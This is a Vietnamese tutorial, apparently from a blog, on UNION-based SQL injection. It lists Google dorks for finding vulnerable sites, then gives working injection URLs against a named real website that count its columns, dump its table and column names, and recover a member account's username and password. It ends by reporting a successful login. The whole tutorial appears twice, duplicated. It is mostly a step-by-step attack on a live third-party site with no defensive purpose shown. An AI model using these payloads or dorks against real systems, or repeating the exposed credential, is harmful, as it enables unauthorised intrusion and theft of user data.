TẤN CÔNG SQL INJECTION - PHẦN 1
SỬ DỤNG LỆNH SELECT UNION
SQL injection là kỹ thuật cho phép những kẻ
tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng
Web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject)
và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng
lường trước).Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể
thực hiện các thao tác xóa bỏ,hiệu chỉnh,…trên cơ sở dữ liệu của ứng dụng.Lỗi
này thường xảy ra trên các ứng dụng Web có dữ liệu được quản lý bằng các hệ quản
trị cơ sở dữ liệu như SQL Server,MySQL,Oracle,DB2, Sysbase.
Có 4 dạng thông thường bao gồm: vượt qua kiểm
tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT và sử dụng
các stored-procedures. Trong bài viết này giới thiệu về kịch bản tấn công sử dụng lệnh "select union" bằng công cụ Hack Bar trên trình duyệt Firefox.
Ø Bước 1.1: Tìm trang web có lỗi SQL
Injection Select Union.
- Tại bước này ta thường dùng cách tìm
kiếm rà soát mục tiêu qua Google bằng các từ khóa tìm kiếm bởi các Dork lỗi của
Injection như:
Google
Dork chuỗi Cột 1
Google Dork
chuỗi Cột 2
Google Dork
chuỗi Cột 3
inurl: item_id =
inurl:?
id = review.php
inurl:?
id = hosting_info.php
inurl: NewSID =
inurl:
iniziativa.php trong =?
inurl:?
id = gallery.php
inurl:? id = trainers.php
inurl:?
id = curriculum.php
inurl:
rub.php IDR =
inurl:? id tin tức-full.php =
inurl:?
id = labels.php
inurl:?
id = view_faq.php
inurl: news_display.php getId =
inurl:?
id = story.php
inurl:?
id = artikelinfo.php
inurl: index2.php option =
inurl:
ID look.php =
inurl:
ID detail.php =
inurl:? id = readnews.php
inurl:?
id = newsone.php
inurl:
index.php =
inurl: top10.php cat =
inurl:?
id = aboutbook.php
inurl:?
id = profile_view.php
inurl:? id = newsone.php
inurl:?
id = material.php
inurl:?
id = category.php
inurl:? id = event.php
inurl:?
id = opinions.php
inurl:?
id = publications.php
inurl:? id sản phẩm item.php =
inurl:?
id = announce.php
inurl:?
id = fellows.php
inurl:? id = sql.php
inurl:
rub.php IDR =
inurl:?
id = downloads_info.php
inurl: index.php CatID =
inurl: galeri_info.php l =
inurl:?
id = prod_info.php
inurl: news.php CatID =
inurl:
tekst.php IDT =
inurl:
shop.php làm = phần & id =
inurl:? id = index.php
inurl:?
id = newscat.php
inurl:?
id = productinfo.php
Ø Bước 1.2: Lựa chọn các kết quả tìm
kiếm và check lỗi Injection select union có hay không?
-
Ví dụ
ta chọn link: http://vnbarcode.com/?php=product_detail&id=316
-
Ta
check bằng cách thêm dấu nháy ‘ vào cuối link của trang web:
http://vnbarcode.com/?php=product_detail&id=316’
·
Nếu
kết quả sau Execute vẫn hiện nội dung bình thường thì web đó không có lỗi
injection.
·
Nếu
kết quả sau Execute bị lỗi hiển thị nội dung thì web đó có lỗi injection.
ð Trong trường hợp này trang web đã chọn
có lỗi injection.
Ø Bước 2: Sử dụng câu lệnh order by để
kiểm tra số cột dữ liệu của trang web
-
Tại
bước này ta nhập các giá trị cột ngẫu nhiên dự đoán và kiểm tra nội dung dữ liệu
hiển thị.
·
Nếu
dữ liệu hiển thị bình thường thì số cột lựa chọn đó nhỏ hơn hoặc bằng số cột thực
tế của cơ sở dữ liệu.
·
Nếu
dữ liệu lỗi hoặc không hiển thị thì số cột ta lựa chọn lớn hơn số cột thực tế của
cơ sở dữ liệu.
Order by 20 dữ liệu vẫn bình thường.
Order by 21 thì dữ liệu lỗi.
ð
Dữ
liệu của trang web này có 20 cột.
Ø
Bước 3: Kiểm tra cột bị lỗi qua câu lệnh “select union”
http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20—
Sau khi thực hiện Execute thì hiện ra kết quả
báo lỗi ở cột 5 và cột 8.
Vậy ta sẽ khai thác dữ liệu từ 2 cột lỗi này.
Ta có thể chọn bất kì cột nào trong số cột lỗi, ở đây ta chọn cột 5.
Ø Bước 4: Thử khai thác một số thông
tin của Database từ vị trí cột lỗi
-
Ví
dụ ta thử xem một số thông tin về version, tên database và tên quản trị
database bằng cách thay thế các câu lệnh sau lần lượt vào vị trí cột bị lỗi (cột
5): version(), database(), user().
ð Kết quả được: Version:
5.0.51a-community, tên database: vnbarcodec_ha, tên tài khoản đăng nhập quản trị:
vnbarcodec_ha@localhost.
Ø
Bước 5: Lấy thông tin từ database
Ø
Bước 5.1: Lấy thông tin tên các bảng có trong database:
-
Chúng
ta cần thực hiện truy vấn để trả về thông tin bảng từ bảng trong CSDL
·
Sử
dụng lệnh - unhex(hex(group_concat(table_name))) để lấy giá trị (chèn vào cột lỗi)
·
FROM
information_schema.tables WHERE table_schema=database()-- đây là nơi lấy giá trị
là database.
Link: http://vnbarcode.com/?php=product_detail&id=-316
UNION SELECT
1,2,3,4,unhex(hex(group_concat(table_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
FROM information_schema.tables WHERE table_schema=database()—
Ø Kết quả trả về là tên các bảng của
database: tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_product,tbl_product_category,tbl_product_download,tbl_product_new,tbl_product_special,tbl_product_top,tbl_support,tbl_support_category,tbl_user,tbl_visitor.
Ø Bước 5.2: Khai thác dữ liệu từ bảng
tbl_member.
Tương tự việc truy vấn dữ liệu tên bảng trong database, giờ ta truy vấn
dữ liệu để lấy tên các cột có trong bảng tbl_member. Lúc này cần thay một số vị
trí lệnh truy vấn như table_name thành column_name, table_schema thành
table_name, schema.tables thành schema.columns và cần đổi tên tbl_member sang
mã hex char để truy xuất data nhanh và chuẩn hơn.
Link: http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT
1,2,3,4,unhex(hex(group_concat(column_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
FROM information_schema.columns WHERE table_name=CHAR(116, 98, 108, 95, 109,
101, 109, 98, 101, 114)—
-
Kết
quả ta được tên các bảng: member_id, member_name, member_sex, member_address, member_tel, member_fax, member_email, member_logo, member_website, member_yahoo, member_skype, uid, pwd, member_sort, member_status, member_date_added, ember_last_modified, member_detail.
Ø Bước 6: Lấy thông tin đăng nhập và kết
thúc tấn công.
-
Ta
thử lấy một thông tin tài khoản và tiến hành đăng nhập
-
Ví
dụ: tài khoản có username là phanluongha, password là phanluongha và id là 16.
Kết quả: Đăng nhập
thành công!
Kết thúc tấn công!
Video demo thực hiện tấn công:
SQL injection là kỹ thuật cho phép những kẻ
tấn công lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng
Web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu để “tiêm vào” (inject)
và thi hành các câu lệnh SQL bất hợp pháp (không được người phát triển ứng dụng
lường trước).Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể
thực hiện các thao tác xóa bỏ,hiệu chỉnh,…trên cơ sở dữ liệu của ứng dụng.Lỗi
này thường xảy ra trên các ứng dụng Web có dữ liệu được quản lý bằng các hệ quản
trị cơ sở dữ liệu như SQL Server,MySQL,Oracle,DB2, Sysbase.
Có 4 dạng thông thường bao gồm: vượt qua kiểm
tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT và sử dụng
các stored-procedures. Trong bài viết này giới thiệu về kịch bản tấn công sử dụng lệnh "select union" bằng công cụ Hack Bar trên trình duyệt Firefox.
Ø Bước 1.1: Tìm trang web có lỗi SQL
Injection Select Union.
- Tại bước này ta thường dùng cách tìm
kiếm rà soát mục tiêu qua Google bằng các từ khóa tìm kiếm bởi các Dork lỗi của
Injection như:
Google Dork chuỗi Cột 1 | Google Dork chuỗi Cột 2 | Google Dork chuỗi Cột 3 |
inurl: item_id = | inurl:? id = review.php | inurl:? id = hosting_info.php |
inurl: NewSID = | inurl: iniziativa.php trong =? | inurl:? id = gallery.php |
inurl:? id = trainers.php | inurl:? id = curriculum.php | inurl: rub.php IDR = |
inurl:? id tin tức-full.php = | inurl:? id = labels.php | inurl:? id = view_faq.php |
inurl: news_display.php getId = | inurl:? id = story.php | inurl:? id = artikelinfo.php |
inurl: index2.php option = | inurl: ID look.php = | inurl: ID detail.php = |
inurl:? id = readnews.php | inurl:? id = newsone.php | inurl: index.php = |
inurl: top10.php cat = | inurl:? id = aboutbook.php | inurl:? id = profile_view.php |
inurl:? id = newsone.php | inurl:? id = material.php | inurl:? id = category.php |
inurl:? id = event.php | inurl:? id = opinions.php | inurl:? id = publications.php |
inurl:? id sản phẩm item.php = | inurl:? id = announce.php | inurl:? id = fellows.php |
inurl:? id = sql.php | inurl: rub.php IDR = | inurl:? id = downloads_info.php |
inurl: index.php CatID = | inurl: galeri_info.php l = | inurl:? id = prod_info.php |
inurl: news.php CatID = | inurl: tekst.php IDT = | inurl: shop.php làm = phần & id = |
inurl:? id = index.php | inurl:? id = newscat.php | inurl:? id = productinfo.php |
Ø Bước 1.2: Lựa chọn các kết quả tìm
kiếm và check lỗi Injection select union có hay không?
-
Ví dụ
ta chọn link: http://vnbarcode.com/?php=product_detail&id=316
-
Ta
check bằng cách thêm dấu nháy ‘ vào cuối link của trang web:
http://vnbarcode.com/?php=product_detail&id=316’
·
Nếu
kết quả sau Execute vẫn hiện nội dung bình thường thì web đó không có lỗi
injection.
·
Nếu
kết quả sau Execute bị lỗi hiển thị nội dung thì web đó có lỗi injection.
ð Trong trường hợp này trang web đã chọn
có lỗi injection.
Ø Bước 2: Sử dụng câu lệnh order by để
kiểm tra số cột dữ liệu của trang web
-
Tại
bước này ta nhập các giá trị cột ngẫu nhiên dự đoán và kiểm tra nội dung dữ liệu
hiển thị.
·
Nếu
dữ liệu hiển thị bình thường thì số cột lựa chọn đó nhỏ hơn hoặc bằng số cột thực
tế của cơ sở dữ liệu.
·
Nếu
dữ liệu lỗi hoặc không hiển thị thì số cột ta lựa chọn lớn hơn số cột thực tế của
cơ sở dữ liệu.
Order by 20 dữ liệu vẫn bình thường.
Order by 21 thì dữ liệu lỗi.
ð
Dữ
liệu của trang web này có 20 cột.
Ø
Bước 3: Kiểm tra cột bị lỗi qua câu lệnh “select union”
http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20—
Sau khi thực hiện Execute thì hiện ra kết quả
báo lỗi ở cột 5 và cột 8.
Vậy ta sẽ khai thác dữ liệu từ 2 cột lỗi này.
Ta có thể chọn bất kì cột nào trong số cột lỗi, ở đây ta chọn cột 5.
Ø Bước 4: Thử khai thác một số thông
tin của Database từ vị trí cột lỗi
-
Ví
dụ ta thử xem một số thông tin về version, tên database và tên quản trị
database bằng cách thay thế các câu lệnh sau lần lượt vào vị trí cột bị lỗi (cột
5): version(), database(), user().
ð Kết quả được: Version:
5.0.51a-community, tên database: vnbarcodec_ha, tên tài khoản đăng nhập quản trị:
vnbarcodec_ha@localhost.
Ø
Bước 5: Lấy thông tin từ database
Ø
Bước 5.1: Lấy thông tin tên các bảng có trong database:
-
Chúng
ta cần thực hiện truy vấn để trả về thông tin bảng từ bảng trong CSDL
·
Sử
dụng lệnh - unhex(hex(group_concat(table_name))) để lấy giá trị (chèn vào cột lỗi)
·
FROM
information_schema.tables WHERE table_schema=database()-- đây là nơi lấy giá trị
là database.
Link: http://vnbarcode.com/?php=product_detail&id=-316
UNION SELECT
1,2,3,4,unhex(hex(group_concat(table_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
FROM information_schema.tables WHERE table_schema=database()—
Ø Kết quả trả về là tên các bảng của
database: tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_product,tbl_product_category,tbl_product_download,tbl_product_new,tbl_product_special,tbl_product_top,tbl_support,tbl_support_category,tbl_user,tbl_visitor.
Ø Bước 5.2: Khai thác dữ liệu từ bảng
tbl_member.
Tương tự việc truy vấn dữ liệu tên bảng trong database, giờ ta truy vấn
dữ liệu để lấy tên các cột có trong bảng tbl_member. Lúc này cần thay một số vị
trí lệnh truy vấn như table_name thành column_name, table_schema thành
table_name, schema.tables thành schema.columns và cần đổi tên tbl_member sang
mã hex char để truy xuất data nhanh và chuẩn hơn.
Link: http://vnbarcode.com/?php=product_detail&id=-316 UNION SELECT
1,2,3,4,unhex(hex(group_concat(column_name))),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
FROM information_schema.columns WHERE table_name=CHAR(116, 98, 108, 95, 109,
101, 109, 98, 101, 114)—
-
Kết
quả ta được tên các bảng: member_id, member_name, member_sex, member_address, member_tel, member_fax, member_email, member_logo, member_website, member_yahoo, member_skype, uid, pwd, member_sort, member_status, member_date_added, ember_last_modified, member_detail.
Ø Bước 6: Lấy thông tin đăng nhập và kết
thúc tấn công.
-
Ta
thử lấy một thông tin tài khoản và tiến hành đăng nhập
-
Ví
dụ: tài khoản có username là phanluongha, password là phanluongha và id là 16.
Kết quả: Đăng nhập
thành công!
Kết thúc tấn công!
Video demo thực hiện tấn công: